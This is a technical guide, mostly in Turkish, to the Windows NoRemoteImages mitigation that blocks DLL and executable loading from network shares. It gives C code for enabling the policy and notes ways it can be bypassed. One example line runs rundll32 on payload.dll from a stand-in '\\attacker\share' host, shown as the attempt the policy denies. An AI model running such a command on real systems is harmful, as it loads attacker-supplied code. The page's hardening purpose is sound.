Block remote images¶
Bir process'in UNC share gibi remote bir device'ta bulunan executable image'ları map etmesini engelleyen ve network-path DLL hijack yüzeyini ortadan kaldıran bir Windows process-mitigation policy'si.
Mechanism¶
Note
Windows image loader, DLL adlarını remote path'lere (UNC
\\server\share\..., mapped network drive'lar, WebDAV) ulaşabilen bir search
order üzerinden çözer. Victim'in search order'ının dokunduğu bir network
konumunu kontrol eden bir saldırgan, zararlı bir .dll/.exe'yi hat
üzerinden servis edebilir — aynı zamanda NTLM-relay ve "living off the land"
load'larını da mümkün kılan bir remote DLL-planting / search-order-hijack
primitive'i. NoRemoteImages policy'si basit bir invariant enforce eder:
kernel image loader, remote bir device tarafından backing edilen herhangi
bir dosyadan executable section oluşturmayı reddeder. Karar kernel'da section
creation'da verildiğinden, her load path'ini kapsar (LoadLibrary,
delay-load, SxS/manifest activation, CreateProcess image mapping) ve user
mode'daki path-canonicalization hileleriyle aşılamaz.
Flag, PROCESS_MITIGATION_IMAGE_LOAD_POLICY'nin ilk bit'idir:
typedef struct _PROCESS_MITIGATION_IMAGE_LOAD_POLICY {
union {
DWORD Flags;
struct {
DWORD NoRemoteImages : 1; // <-- this technique
DWORD NoLowMandatoryLabelImages : 1;
DWORD PreferSystem32Images : 1;
DWORD AuditNoRemoteImages : 1;
DWORD AuditNoLowMandatoryLabelImages : 1;
DWORD ReservedFlags : 27;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
} PROCESS_MITIGATION_IMAGE_LOAD_POLICY, *PPROCESS_MITIGATION_IMAGE_LOAD_POLICY;
Microsoft'a göre, NoRemoteImages 0x1 olarak ayarlandığında "process'in UNC
share gibi remote bir device'tan image load etmesini engeller."
Walkthrough¶
Çağıran process'i startup'ta opt-in yap:
#include <windows.h>
#include <processthreadsapi.h>
int main(void) {
PROCESS_MITIGATION_IMAGE_LOAD_POLICY p = {0};
p.NoRemoteImages = 1; // refuse images from remote devices
BOOL ok = SetProcessMitigationPolicy(
ProcessImageLoadPolicy, &p, sizeof(p));
printf("SetProcessMitigationPolicy=%d gle=%lu\n", ok, GetLastError());
return 0;
}
Beklenen çıktı (Windows 10 / Server 2016+):
Artık UNC bir path'ten DLL load etmek için yapılan herhangi bir girişim map zamanında reddedilir:
> rundll32 \\attacker\share\payload.dll,Entry (from the hardened process)
... fails: ERROR_ACCESS_DENIED — the image is on a remote device
Policy'yi process'in ilk DLL load'undan önce aktif yapmak için spawn zamanında
ayarla. UpdateProcThreadAttribute, 64-bit bir mask ile
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY alır; ilgili bit
PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_ALWAYS_ON'dur:
SIZE_T sz = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &sz);
auto al = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sz);
InitializeProcThreadAttributeList(al, 1, 0, &sz);
DWORD64 mask = PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_ALWAYS_ON;
UpdateProcThreadAttribute(al, 0,
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &mask, sizeof(mask), NULL, NULL);
// pass `al` via STARTUPINFOEX to CreateProcess(... EXTENDED_STARTUPINFO_PRESENT ...)
Warning
"Remote", process'in path'in nereyi gösterdiğine inandığına göre değil,
backing file'ın device tipine göre değerlendirilir. Mount edilip sonra bir
local junction üzerinden erişilen bir remote share hâlâ remote'tur. Tersine,
bu local planting'i durdurmaz — NoLowMandatoryLabelImages ve
PreferSystem32Images ile birleştir.
Detection¶
Denenen remote load'ları bloklamadan log'lamak için AuditNoRemoteImages = 1
ayarla. Audit event'leri, enforcement'ı açmadan önce network path'lerine olan
legitimate bağımlılıkları keşfetmene izin verir ve kendi kendine yol açacağın
arızalardan kaçınmanı sağlar.
Mitigation¶
Bir mitigation olarak yalnızca payload'ı bir local volume'a sokarak (remote
kriterini aşarak) ya da hiç opt-in yapmamış bir process'e saldırarak bypass
edilir. Bit'i mitigation mask üzerinden CreateProcess zamanında always-on
enforce etmek, post-init bir policy set'inden kesinlikle daha güçlüdür.